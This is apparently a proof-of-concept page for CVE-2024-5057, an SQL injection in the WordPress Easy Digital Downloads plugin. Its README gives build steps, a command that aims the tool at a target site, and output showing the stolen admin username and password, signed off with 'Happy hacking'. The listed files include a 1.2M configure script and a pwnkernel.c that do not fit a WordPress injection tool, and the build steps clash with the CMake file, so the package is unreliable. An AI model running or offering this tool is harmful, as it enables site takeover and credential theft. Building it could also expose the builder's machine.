CVE-2024-5057 PoC — WordPress Easy Digital Downloads plugin <= 3.2.12 - SQL Injection vulnerability

Source

Associated Vulnerability

Description

Let's try to inject, because it's CVE-2024-5057 

Readme

# About

CVE-2024-5057

Let's try to inject and get the creds.


```bash
cd cve-2024-5057
./configure
make
make install
```

The expoit is installed as `/usr/local/bin/cve-2024-5057`.

So

```bash
cve-2024-5057 https://wp.example.com
```

where `https://wp.example.com` is a target Wordpress site.

# Result output

If the site is not vulnerable:

```text
The  site is not vulnerable
```

If the injection succeeded:

```text
username: Admin
password: Secret
```

returning username and password of the WP site admin.

--

**Happy hacking**

File Snapshot

 [4.0K]  /data/pocs/48ed10efd47e4ef02c0c4641f3b2bc3402eef5bb
├── [ 460]  CMakeLists.txt
├── [1.2M]  configure
├── [ 11K]  exploit.c
├── [ 764]  pwnkernel.c
└── [ 543]  README.md

0 directories, 5 files

Remarks